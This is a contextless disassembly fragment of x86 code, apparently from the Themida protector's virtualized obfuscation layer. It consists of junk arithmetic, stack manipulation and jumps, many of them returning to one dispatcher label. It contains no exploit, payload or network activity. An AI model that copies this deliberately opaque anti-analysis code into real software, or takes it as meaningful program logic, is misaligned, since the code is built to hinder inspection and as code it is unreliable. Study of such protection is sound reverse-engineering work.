xor eax, [esp]
jmp loc_594526
; ---------------------------------------------------------------------------
loc_58EAF1: ; CODE XREF: Themida_:00590CCCj
add edx, 42B1F8Dh
jmp loc_58F11F
; ---------------------------------------------------------------------------
loc_58EAFC: ; CODE XREF: Themida_:00590F42j
not edx
neg edx
jmp loc_58E850
; ---------------------------------------------------------------------------
loc_58EB05: ; CODE XREF: Themida_:0058A86Cj
movsx ecx, ax
sub esp, 4
mov [esp], edi
push esp
pop edi
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
push 73h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_58BEC6
; ---------------------------------------------------------------------------
loc_58EB3D: ; CODE XREF: Themida_:0058B670j
pop eax
jmp loc_59410E
; ---------------------------------------------------------------------------
loc_58EB43: ; CODE XREF: Themida_:00594D61j
push ecx
mov ecx, esp
sub esp, 4
mov [esp], edx
jmp loc_58975F
; ---------------------------------------------------------------------------
loc_58EB51: ; CODE XREF: Themida_:00590A3Aj
shl ch, 8
and ch, 0DDh
add ch, 5Ah
sub esp, 4
jmp loc_58DE83
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push esp
pop ecx
sub esp, 4
mov [esp], edi
mov edi, 4
sub ecx, 19AF4D22h
add ecx, edi
push eax
jmp loc_5927E7
; ---------------------------------------------------------------------------
loc_58EB85: ; CODE XREF: Themida_:0058EDC8j
add esp, 4
jmp loc_5937A7
; ---------------------------------------------------------------------------
loc_58EB90: ; CODE XREF: Themida_:0058DCEAj
add si, 0A9C3h
add ax, si
pop esi
sub ax, 67C7h
push bp
mov bp, 54C2h
add ax, bp
pop bp
push ecx
push esi
jmp loc_58CD6E
; ---------------------------------------------------------------------------
loc_58EBAF: ; CODE XREF: Themida_:0058D25Cj
mov eax, 746A1B1Bh
inc eax
not eax
shl eax, 5
jmp loc_58FA5C
; ---------------------------------------------------------------------------
loc_58EBBF: ; CODE XREF: Themida_:0058F4CBj
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_590A1E
; ---------------------------------------------------------------------------
loc_58EBE3: ; CODE XREF: Themida_:00593D4Dj
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 68940CC1h
and ecx, 275A4EC8h
and ecx, 650726D2h
xor ecx, 788F478Dh
push ebp
mov ebp, 319B05FDh
jmp loc_593A49
; ---------------------------------------------------------------------------
loc_58EC0C: ; CODE XREF: Themida_:0058C96Aj
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_58E0F1
; ---------------------------------------------------------------------------
loc_58EC18: ; CODE XREF: Themida_:00592A7Fj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_58CDB9
; ---------------------------------------------------------------------------
loc_58EC39: ; CODE XREF: Themida_:00594817j
push esi
jmp loc_58AFE0
; ---------------------------------------------------------------------------
loc_58EC3F: ; CODE XREF: Themida_:0058F6C6j
dec eax
sub eax, 0C9D3D0F0h
add edx, eax
jmp loc_593A85
; ---------------------------------------------------------------------------
loc_58EC4C: ; CODE XREF: Themida_:0058D826j
sub ecx, 3DC5770Dh
not ecx
or ecx, 3893616Ah
jmp loc_594962
; ---------------------------------------------------------------------------
loc_58EC5F: ; CODE XREF: Themida_:0058A4C5j
push 416h
mov [esp], ebp
pop edx
pop ebp
dec ebp
xchg ebp, edx
push ebx
push ecx
push 43105873h
jmp loc_593739
; ---------------------------------------------------------------------------
loc_58EC78: ; CODE XREF: Themida_:0058CD4Ej
pop esi
sub edi, 446D7DF1h
push edx
jmp loc_58EF23
; ---------------------------------------------------------------------------
loc_58EC85: ; CODE XREF: Themida_:0058B22Bj
dec byte ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58EC8E: ; CODE XREF: Themida_:0059057Cj
sub edx, 54E6854h
jmp loc_58D6E8
; ---------------------------------------------------------------------------
loc_58EC99: ; CODE XREF: Themida_:0058C917j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_590240
; ---------------------------------------------------------------------------
loc_58ECAC: ; CODE XREF: Themida_:0058CFE1j
and ebp, esi
pop esi
jmp loc_58DA60
; ---------------------------------------------------------------------------
loc_58ECB4: ; CODE XREF: Themida_:0058D898j
pop esp
mov ax, [esp]
push ecx
push 69C7h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_5940E4
; ---------------------------------------------------------------------------
loc_58ECCC: ; CODE XREF: Themida_:00592E6Cj
mov esi, 0A018BA5Bh
xor edi, esi
pop esi
jmp loc_5906E5
; ---------------------------------------------------------------------------
loc_58ECD9: ; CODE XREF: Themida_:0058A457j
push dword ptr [esp+4]
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_58BAE1
; ---------------------------------------------------------------------------
loc_58ECEE: ; CODE XREF: Themida_:005913A5j
sub edx, 4FF70F21h
add edx, 6D990344h
sub edx, 70C04F12h
jmp loc_595195
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push edx
mov edx, 181E427Fh
shr edx, 3
jmp loc_5919FA
; ---------------------------------------------------------------------------
loc_58ED1A: ; CODE XREF: Themida_:005899C7j
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push 793Bh
jmp loc_58B5C3
; ---------------------------------------------------------------------------
loc_58ED43: ; CODE XREF: Themida_:0058E43Aj
push 72CBh
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58ED60: ; CODE XREF: Themida_:0058A5E1j
mov [esp], edi
mov edi, 270264Ch
mov esi, edi
jmp loc_58960A
; ---------------------------------------------------------------------------
loc_58ED6F: ; CODE XREF: Themida_:005957E2j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58ED74: ; CODE XREF: Themida_:00594F73j
xor al, 0EEh
xor al, 0FDh
jmp loc_5926D8
; ---------------------------------------------------------------------------
loc_58ED7D: ; CODE XREF: Themida_:0058B725j
and ebx, 0EC443E8h
xor ebx, 6254D59h
not ebx
sub ebx, 0FF9EB02Ch
jmp loc_58B1F4
; ---------------------------------------------------------------------------
loc_58ED96: ; CODE XREF: Themida_:0058B0BFj
sub dl, 1
shl dl, 7
push eax
mov al, 0A8h
or al, 91h
not al
sub al, 47h
sub dl, al
pop eax
jmp loc_594AC7
; ---------------------------------------------------------------------------
loc_58EDAD: ; CODE XREF: Themida_:005939BBj
mov ecx, 4
push ecx
mov ecx, 11F80565h
add eax, ecx
pop ecx
add eax, ecx
push edi
mov edi, 11F80565h
sub eax, edi
mov edi, [esp]
jmp loc_58EB85
; ---------------------------------------------------------------------------
loc_58EDCD: ; CODE XREF: Themida_:0058E681j
add edx, ebp
pop ebp
pop ebp
push ebp
mov ebp, 2
sub edx, ebp
pop ebp
push edx
push dword ptr [esp+4]
jmp loc_58D181
; ---------------------------------------------------------------------------
loc_58EDE4: ; CODE XREF: Themida_:00595454j
push esi
push 717321CBh
pop esi
push edx
mov edx, 132853C4h
sub edx, 0A1B531F5h
mov eax, edx
pop edx
xor eax, esi
pop esi
jmp loc_58B0CE
; ---------------------------------------------------------------------------
loc_58EE02: ; CODE XREF: Themida_:005916FEj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58EE07: ; CODE XREF: Themida_:00590E30j
pop edx
mov ecx, [esp]
push ecx
push esp
jmp loc_58BCFC
; ---------------------------------------------------------------------------
loc_58EE12: ; CODE XREF: Themida_:0058AED9j
xor ebp, 97B1A616h
add edi, ebp
pop ebp
sub eax, edi
mov edi, [esp]
add esp, 4
push 3EBBh
mov [esp], edi
push edx
push 2DF81CA7h
pop edx
and edx, 0AEA4898h
push eax
jmp loc_58C985
; ---------------------------------------------------------------------------
loc_58EE41: ; CODE XREF: Themida_:0058E189j
add eax, esi
pop esi
add eax, edi
push ebp
push ebx
mov ebx, 40082ECCh
jmp loc_58BCF2
; ---------------------------------------------------------------------------
loc_58EE52: ; CODE XREF: Themida_:0058FF58j
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5933EB
; ---------------------------------------------------------------------------
loc_58EE62: ; CODE XREF: Themida_:0058C4FCj
pop ebx
jmp loc_58D9C1
; ---------------------------------------------------------------------------
loc_58EE68: ; CODE XREF: Themida_:0058C130j
push ecx
mov ecx, 70200600h
sub ecx, 724703EDh
push ebx
mov ebx, 54706E74h
shr ebx, 2
shl ebx, 4
shr ebx, 7
sub ebx, 984305DFh
or ecx, ebx
mov ebx, [esp]
add esp, 4
push edx
mov edx, 49E43B88h
or ecx, edx
pop edx
push esi
mov esi, 8503076h
jmp loc_589B51
; ---------------------------------------------------------------------------
push 4FC9h
push esp
pop dword ptr [esp]
jmp loc_591281
; ---------------------------------------------------------------------------
loc_58EEB3: ; CODE XREF: Themida_:005914EBj
pop edx
push 392Eh
mov [esp], ebx
mov ebx, 4
add ecx, 55A37C32h
add ecx, ebx
push edi
mov edi, 4B004B48h
neg edi
neg edi
push edx
mov edx, 15AC763Fh
add edi, edx
jmp loc_591D57
; ---------------------------------------------------------------------------
loc_58EEE0: ; CODE XREF: Themida_:00590866j
add ebx, edx
pop edx
push edx
mov edx, 7FED5E78h
jmp loc_593954
; ---------------------------------------------------------------------------
loc_58EEEE: ; CODE XREF: Themida_:0058F0B7j
push esi
push 26022D6Ch
pop esi
shl esi, 5
push ebp
mov ebp, 12096C1Bh
xor esi, ebp
jmp loc_59280D
; ---------------------------------------------------------------------------
loc_58EF05: ; CODE XREF: Themida_:005897E1j
mov ebp, 4
add ecx, ebp
jmp loc_58D459
; ---------------------------------------------------------------------------
loc_58EF11: ; CODE XREF: Themida_:0058CB70j
xor ecx, 12800F57h
inc ecx
sub ecx, 1E406240h
jmp loc_591FEF
; ---------------------------------------------------------------------------
loc_58EF23: ; CODE XREF: Themida_:0058EC80j
push 548Fh
mov [esp], esi
mov esi, 26F0675Fh
neg esi
jmp loc_58D852
; ---------------------------------------------------------------------------
loc_58EF37: ; CODE XREF: Themida_:005904BAj
and eax, edx
pop edx
jmp loc_58D657
; ---------------------------------------------------------------------------
loc_58EF3F: ; CODE XREF: Themida_:005917BEj
xchg edi, [esp]
pop esp
jmp loc_591D4E
; ---------------------------------------------------------------------------
loc_58EF48: ; CODE XREF: Themida_:0058A5CFj
mov [esp], edi
push dword ptr [esp+4]
jmp loc_58E6D5
; ---------------------------------------------------------------------------
loc_58EF54: ; CODE XREF: Themida_:0058BA73j
add edx, 68C835FDh
pop eax
xchg edx, [esp]
jmp loc_58950A
; ---------------------------------------------------------------------------
loc_58EF63: ; CODE XREF: Themida_:0058DEFCj
pop esp
add bl, al
jmp loc_58B18E
; ---------------------------------------------------------------------------
loc_58EF6B: ; CODE XREF: Themida_:0058E2F9j
mov eax, edi
mov edx, eax
jmp loc_589DFD
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 56E4h
mov [esp], edx
push edi
mov edi, 0DB6C435h
push 6D2Ah
mov [esp], eax
mov eax, edi
mov edx, eax
pop eax
jmp loc_58A703
; ---------------------------------------------------------------------------
loc_58EF97: ; CODE XREF: Themida_:0058A493j
xor edi, [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58EFA2: ; CODE XREF: Themida_:005900C0j
push dword ptr [esp]
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_59463C
; ---------------------------------------------------------------------------
loc_58EFBE: ; CODE XREF: Themida_:0059321Fj
add ch, 0D5h
sub ch, dh
sub ch, 0D5h
mov edx, [esp]
jmp loc_59474D
; ---------------------------------------------------------------------------
loc_58EFCE: ; CODE XREF: Themida_:0058ADA5j
mov esi, 33B0030Ah
not esi
jmp loc_592F2C
; ---------------------------------------------------------------------------
loc_58EFDA: ; CODE XREF: Themida_:0058BA31j
mov [esp], esi
jmp loc_5946DC
; ---------------------------------------------------------------------------
loc_58EFE2: ; CODE XREF: Themida_:00592E9Cj
pop esp
jmp loc_59372B
; ---------------------------------------------------------------------------
loc_58EFE8: ; CODE XREF: Themida_:00591578j
mov edi, 4
add eax, edi
pop edi
jmp loc_58CFBA
; ---------------------------------------------------------------------------
loc_58EFF5: ; CODE XREF: Themida_:0058F092j
add esp, 4
add edi, ecx
jmp loc_59421D
; ---------------------------------------------------------------------------
loc_58EFFF: ; CODE XREF: Themida_:005942CBj
pop edi
push dword ptr [eax]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F007: ; CODE XREF: Themida_:0058EA2Cj
mov [esp], edi
mov edi, 1ECF68A7h
and edi, 30D82131h
not edi
push ebx
jmp loc_58B2B5
; ---------------------------------------------------------------------------
loc_58F01D: ; CODE XREF: Themida_:0059072Fj
sub eax, ecx
pop ecx
sub eax, 0B3524030h
xor ebx, eax
pop eax
sub ebx, 0D200FA72h
jmp loc_58A179
; ---------------------------------------------------------------------------
loc_58F033: ; CODE XREF: Themida_:00594333j
pop cx
not dh
push small 160Eh
mov [esp], bx
sub esp, 4
mov [esp], eax
mov al, dh
mov bh, al
mov eax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 75B32ED2h
push eax
mov eax, 217248C4h
or edi, eax
pop eax
jmp loc_58A893
; ---------------------------------------------------------------------------
loc_58F06B: ; CODE XREF: Themida_:0058CAF7j
sub [esp], edx
jmp loc_593A3B
; ---------------------------------------------------------------------------
loc_58F073: ; CODE XREF: Themida_:00589AFCj
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 18D60600h
sub edi, eax
mov eax, [esp]
jmp loc_58EFF5
; ---------------------------------------------------------------------------
loc_58F097: ; CODE XREF: Themida_:00590B84j
mov bl, 0Fh
jmp loc_591A20
; ---------------------------------------------------------------------------
loc_58F09E: ; CODE XREF: Themida_:0058C6DBj
sub ah, 0BAh
add bl, ah
pop eax
push dx
jmp loc_594F59
; ---------------------------------------------------------------------------
loc_58F0AB: ; CODE XREF: Themida_:00593F6Cj
add esp, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_58EEEE
; ---------------------------------------------------------------------------
lodsb
jmp loc_590B81
; ---------------------------------------------------------------------------
loc_58F0C2: ; CODE XREF: Themida_:00592B53j
add edi, esi
jmp loc_58B5E8
; ---------------------------------------------------------------------------
loc_58F0C9: ; CODE XREF: Themida_:00594D58j
add dword ptr [esp], 4
jmp loc_589AF5
; ---------------------------------------------------------------------------
loc_58F0D5: ; CODE XREF: Themida_:005936A3j
not bl
shr bl, 7
push eax
mov al, 7Fh
shl al, 2
xor al, 0CDh
add al, 0EEh
sub bl, al
pop eax
sub al, bl
pop ebx
mov ecx, [esp]
add esp, 4
jmp loc_58E34E
; ---------------------------------------------------------------------------
loc_58F0F8: ; CODE XREF: Themida_:0058E960j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_59165E
; ---------------------------------------------------------------------------
loc_58F10E: ; CODE XREF: Themida_:0058F399j
push 2DAh
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_590FFC
; ---------------------------------------------------------------------------
loc_58F11F: ; CODE XREF: Themida_:0058EAF7j
add edx, 2F71A39h
add edx, 6DA118C0h
add edx, ecx
sub edx, 6DA118C0h
sub edx, 2F71A39h
sub edx, 42B1F8Dh
push 25B6h
mov [esp], ecx
mov ecx, 0
add ecx, edx
mov [ecx], al
jmp loc_590E2F
; ---------------------------------------------------------------------------
loc_58F155: ; CODE XREF: Themida_:00595B1Bj
push 6E2h
mov [esp], ecx
jmp loc_5925B4
; ---------------------------------------------------------------------------
loc_58F162: ; CODE XREF: Themida_:00592027j
xchg ebx, [esp]
jmp loc_59581B
; ---------------------------------------------------------------------------
loc_58F16A: ; CODE XREF: Themida_:005946B1j
dec edx
dec edx
jmp loc_590223
; ---------------------------------------------------------------------------
loc_58F171: ; CODE XREF: Themida_:00590D4Dj
push esp
pop esi
push ecx
mov ecx, 22974899h
and ecx, 77A467A7h
neg ecx
neg ecx
xchg edx, ecx
not edx
push ecx
push edx
pop ecx
mov edx, [esp]
jmp loc_589532
; ---------------------------------------------------------------------------
loc_58F192: ; CODE XREF: Themida_:005928A1j
sub ebx, edi
sub ebx, 79BB7468h
pop edi
add ebx, eax
add ebx, 71397659h
push 5C1Fh
jmp loc_5938F7
; ---------------------------------------------------------------------------
loc_58F1AD: ; CODE XREF: Themida_:0058D234j
mov ebp, 372A481Ch
sub [esp+4], ebp
jmp loc_59238F
; ---------------------------------------------------------------------------
loc_58F1BB: ; CODE XREF: Themida_:0058DB9Dj
mov [esp], ebp
mov ebp, 4
add edi, ebp
jmp loc_58A97B
; ---------------------------------------------------------------------------
loc_58F1CA: ; CODE XREF: Themida_:0058B2C7j
push ebx
mov ebx, 73367812h
jmp loc_58F9BA
; ---------------------------------------------------------------------------
loc_58F1D5: ; CODE XREF: Themida_:005952A1j
pop edi
jmp loc_58BE46
; ---------------------------------------------------------------------------
loc_58F1DB: ; CODE XREF: Themida_:00591C37j
xchg eax, ecx
xor eax, 0F1AFE28Eh
or [edi+1Ch], eax
push dword ptr [esp]
pop eax
jmp loc_58A878
; ---------------------------------------------------------------------------
loc_58F1ED: ; CODE XREF: Themida_:005895F2j
push esi
push 3180h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edx
mov edx, 7D8D5BE8h
dec edx
jmp loc_58B67D
; ---------------------------------------------------------------------------
loc_58F207: ; CODE XREF: Themida_:00589E71j
xor esi, 30Ch
add eax, esi
mov esi, [esp]
add esp, 4
push edi
mov edi, 2
add eax, edi
pop edi
xchg eax, [esp]
pop esp
dec word ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F22F: ; CODE XREF: Themida_:005932B8j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F23D: ; CODE XREF: Themida_:0058D809j
shl esi, 1
add esi, 0EB0AD4BCh
and ebx, esi
pop esi
sub esp, 4
jmp loc_593A32
; ---------------------------------------------------------------------------
loc_58F250: ; CODE XREF: Themida_:005894E3j
push eax
mov ah, 4Bh
sub bl, 74h
add bl, ah
add bl, 74h
pop eax
dec bl
inc bl
sub bl, 1
add bl, 5Bh
jmp loc_59594E
; ---------------------------------------------------------------------------
loc_58F26B: ; CODE XREF: Themida_:00593D18j
push edi
push 36392EE3h
pop edi
xor edi, 6E5E691Dh
jmp loc_590745
; ---------------------------------------------------------------------------
loc_58F27D: ; CODE XREF: Themida_:0058CF6Dj
mov ebp, esp
push edi
jmp loc_593F83
; ---------------------------------------------------------------------------
loc_58F285: ; CODE XREF: Themida_:0058D2F7j
xchg edi, [esp]
pop esp
pop small word ptr [esp]
jmp loc_590385
; ---------------------------------------------------------------------------
loc_58F292: ; CODE XREF: Themida_:005954A3j
pop edi
inc edi
xor edi, 62FF5758h
mov esi, edi
jmp loc_58E5CA
; ---------------------------------------------------------------------------
loc_58F2A1: ; CODE XREF: Themida_:0059415Fj
add ecx, ebx
jmp loc_58D6A2
; ---------------------------------------------------------------------------
loc_58F2A8: ; CODE XREF: Themida_:00591D85j
add esp, 4
jmp loc_58B2D9
; ---------------------------------------------------------------------------
loc_58F2B0: ; CODE XREF: Themida_:0058F3C9j
xor ecx, 788B2B29h
neg ecx
and ecx, 12435BF2h
sub ecx, 12400290h
add eax, 1EA4728Bh
add eax, ecx
sub eax, 1EA4728Bh
mov ecx, [esp]
push ebp
mov ebp, esp
push edx
mov edx, 2A907276h
dec edx
jmp loc_590C2C
; ---------------------------------------------------------------------------
loc_58F2E2: ; CODE XREF: Themida_:0058FCCFj
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ecx
jmp loc_594049
; ---------------------------------------------------------------------------
loc_58F2F9: ; CODE XREF: Themida_:00589A6Ej
add edx, 4
xchg edx, [esp]
pop esp
xor edi, ebx
mov ebx, [esp]
add esp, 4
inc edi
xor edi, 5B545C32h
jmp loc_58ACEA
; ---------------------------------------------------------------------------
loc_58F317: ; CODE XREF: Themida_:005934BFj
mov [esp], edx
push ebp
jmp loc_58DFCC
; ---------------------------------------------------------------------------
loc_58F320: ; CODE XREF: Themida_:00592F96j
push 704Ah
mov [esp], ebx
push ecx
mov cl, 0AFh
mov bh, cl
pop ecx
mov dl, 73h
sub dl, bh
pop ebx
sub al, 0DBh
add al, dl
add al, 0DBh
pop edx
add al, 0CEh
add al, bl
sub al, 0CEh
jmp loc_58AFC4
; ---------------------------------------------------------------------------
loc_58F345: ; CODE XREF: Themida_:00595377j
add al, 53h
sub al, 33h
push 410Ch
jmp loc_58B0EA
; ---------------------------------------------------------------------------
loc_58F353: ; CODE XREF: Themida_:005918E4j
push eax
mov eax, 6FDA0548h
neg eax
shr eax, 4
jmp loc_58A11C
; ---------------------------------------------------------------------------
loc_58F363: ; CODE XREF: Themida_:0058D6E3j
and ebp, edx
mov edx, [esp]
add esp, 4
inc ebp
xor ebp, 4742395Dh
push eax
jmp loc_58BFB1
; ---------------------------------------------------------------------------
loc_58F37B: ; CODE XREF: Themida_:0058DA3Dj
add bl, cl
pop ecx
sub bl, 0DEh
dec bl
xchg ch, bl
jmp loc_58CB8C
; ---------------------------------------------------------------------------
loc_58F38A: ; CODE XREF: Themida_:00589948j
pop edx
jmp loc_5896AE
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_58F10E
; ---------------------------------------------------------------------------
loc_58F39E: ; CODE XREF: Themida_:0058D58Bj
neg ebx
sub ebx, 9B40FB10h
sub edx, ebx
pop ebx
xchg edx, [esp]
mov esp, [esp]
jmp loc_590138
; ---------------------------------------------------------------------------
loc_58F3B4: ; CODE XREF: Themida_:005903E4j
or ecx, 10D37923h
not ecx
jmp loc_58CC52
; ---------------------------------------------------------------------------
loc_58F3C1: ; CODE XREF: Themida_:0058D37Aj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58F3C6: ; CODE XREF: Themida_:00595710j
mov ecx, ebx
pop ebx
jmp loc_58F2B0
; ---------------------------------------------------------------------------
loc_58F3CE: ; CODE XREF: Themida_:0058E2E1j
sub ecx, 10150FFDh
mov ebp, [esp]
push 310Dh
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_58FCAD
; ---------------------------------------------------------------------------
loc_58F3EC: ; CODE XREF: Themida_:0058DDC9j
add ebx, esi
mov esi, [esp]
add esp, 4
add ebx, 2BB241BBh
sub ebx, 47A57B0Bh
sub ebx, edx
add ebx, 47A57B0Bh
jmp loc_58F641
; ---------------------------------------------------------------------------
loc_58F40D: ; CODE XREF: Themida_:00589782j
neg bl
sub bl, 0B9h
mov cl, bl
pop ebx
push ebx
mov bl, 16h
sub bl, 0EAh
and bl, 8
add bl, 0Eh
sub cl, bl
mov ebx, [esp]
add esp, 4
xor al, cl
mov ecx, [esp]
jmp loc_58C1DE
; ---------------------------------------------------------------------------
loc_58F433: ; CODE XREF: Themida_:005934D6j
mov dl, 58h
add dl, ah
pop eax
sub bl, dl
jmp loc_58B6FD
; ---------------------------------------------------------------------------
loc_58F43F: ; CODE XREF: Themida_:00592FE2j
sub ecx, 0CD8B09DBh
add ecx, 70856590h
jmp loc_591647
; ---------------------------------------------------------------------------
loc_58F450: ; CODE XREF: Themida_:0058C996j
shl edx, 1
jmp loc_58FFB3
; ---------------------------------------------------------------------------
loc_58F457: ; CODE XREF: Themida_:0058F8E1j
add ecx, edx
sub ecx, 280226A7h
pop edx
xchg ecx, [esp]
mov esp, [esp]
jmp loc_58B917
; ---------------------------------------------------------------------------
loc_58F46B: ; CODE XREF: Themida_:005910D8j
mov [esp], esi
jmp loc_593CE4
; ---------------------------------------------------------------------------
loc_58F473: ; CODE XREF: Themida_:0058AFBFj
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov eax, edx
pop edx
jmp loc_58BE91
; ---------------------------------------------------------------------------
loc_58F488: ; CODE XREF: Themida_:0059221Bj
mul ecx
push eax
push 485Dh
jmp loc_590D69
; ---------------------------------------------------------------------------
loc_58F495: ; CODE XREF: Themida_:0058C3C8j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
movzx eax, al
jmp loc_58BE7B
; ---------------------------------------------------------------------------
loc_58F4AD: ; CODE XREF: Themida_:0059409Aj
mov edx, 82C31F4h
jmp loc_593929
; ---------------------------------------------------------------------------
loc_58F4B7: ; CODE XREF: Themida_:0058BD8Dj
add esp, 4
add edx, 4
push ebp
mov ebp, 2
sub edx, ebp
jmp loc_58EBBF
; ---------------------------------------------------------------------------
loc_58F4D0: ; CODE XREF: Themida_:0059207Fj
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_59288C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
push ecx
push edx
mov edx, 246CCCh
mov ecx, 246CC8h
xor ecx, edx
mov edx, [esp]
add esp, 4
add ebx, 4F7D0B3Dh
push ecx
mov ecx, 4BB24904h
sub ebx, ecx
pop ecx
add ebx, ecx
add ebx, 4BB24904h
sub ebx, 4F7D0B3Dh
jmp loc_592FC6
; ---------------------------------------------------------------------------
loc_58F53E: ; CODE XREF: Themida_:00595113j
not edi
neg edi
xor edi, 399F0256h
add ebp, edi
mov edi, [esp]
push ebp
jmp loc_593F97
; ---------------------------------------------------------------------------
loc_58F553: ; CODE XREF: Themida_:00593F92j
pop ebp
mov ecx, edx
pop edx
and eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5918B7
; ---------------------------------------------------------------------------
loc_58F564: ; CODE XREF: Themida_:005900B8j
add ebx, eax
add ebx, 374A59E8h
push edx
jmp loc_5950DC
; ---------------------------------------------------------------------------
loc_58F572: ; CODE XREF: Themida_:0058E4CBj
sub al, dh
jmp loc_595A97
; ---------------------------------------------------------------------------
loc_58F579: ; CODE XREF: Themida_:0058A6F7j
pop ebx
xor dl, al
pop ax
xor al, dl
pop edx
push 24A1h
mov [esp], ecx
push 51C7h
mov [esp], ebx
jmp loc_591697
; ---------------------------------------------------------------------------
loc_58F596: ; CODE XREF: Themida_:0058DBC3j
xchg edx, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_58F730
; ---------------------------------------------------------------------------
loc_58F5B2: ; CODE XREF: Themida_:00595318j
pop esp
and [esp], al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], edi
jmp loc_5930E4
; ---------------------------------------------------------------------------
loc_58F5C8: ; CODE XREF: Themida_:00593C8Aj
mov esi, 0D9A72D0h
and esi, 62E527BBh
push ecx
mov ecx, 3F5A4B6Fh
shr ecx, 3
shl ecx, 5
add ecx, 4744E19Eh
add esi, ecx
pop ecx
sub eax, esi
pop esi
add eax, ebx
jmp loc_58CADE
; ---------------------------------------------------------------------------
loc_58F5F2: ; CODE XREF: Themida_:005913E3j
add esp, 4
push ebp
push 56E14FC3h
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
push ebx
push edi
mov edi, 4
mov ebx, edi
pop edi
add eax, 7E440318h
add eax, ebx
sub eax, 7E440318h
jmp loc_591E2F
; ---------------------------------------------------------------------------
loc_58F61D: ; CODE XREF: Themida_:005934AEj
add ecx, 0D7F6BC61h
dec ecx
push esi
mov esi, 9544B4Ah
dec esi
not esi
push edx
mov edx, 62621E9Dh
or esi, edx
pop edx
xor esi, 5CE2686Ah
jmp loc_58D80E
; ---------------------------------------------------------------------------
loc_58F641: ; CODE XREF: Themida_:0058F408j
sub ebx, 2BB241BBh
sub ebx, 146752C3h
jmp loc_590B89
; ---------------------------------------------------------------------------
loc_58F652: ; CODE XREF: Themida_:005942C3j
and edi, 6C0350FFh
neg edi
dec edi
shr edi, 5
neg edi
jmp loc_5914A9
; ---------------------------------------------------------------------------
loc_58F665: ; CODE XREF: Themida_:005935D6j
shr edi, 6
dec edi
sub edi, 0EB635EB9h
mov ebp, edi
pop edi
xor ebp, 15FD7ECEh
jmp loc_591965
; ---------------------------------------------------------------------------
loc_58F67D: ; CODE XREF: Themida_:00590E2Aj
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 4EDA264Dh
xor edi, 4EDA264Fh
add ebp, edi
pop edi
push ebp
jmp loc_593481
; ---------------------------------------------------------------------------
loc_58F6A4: ; CODE XREF: Themida_:0058B68Cj
sub esi, 2
sub esp, 4
jmp loc_594030
; ---------------------------------------------------------------------------
loc_58F6B2: ; CODE XREF: Themida_:00590AF7j
or edx, 60ED553Ch
push eax
mov eax, 75C54951h
or eax, 494C762Eh
shl eax, 4
jmp loc_58EC3F
; ---------------------------------------------------------------------------
loc_58F6CB: ; CODE XREF: Themida_:0058C629j
push edi
mov edi, 4
add edx, edi
pop edi
push ebx
mov ebx, 2
add edx, ebx
pop ebx
push edx
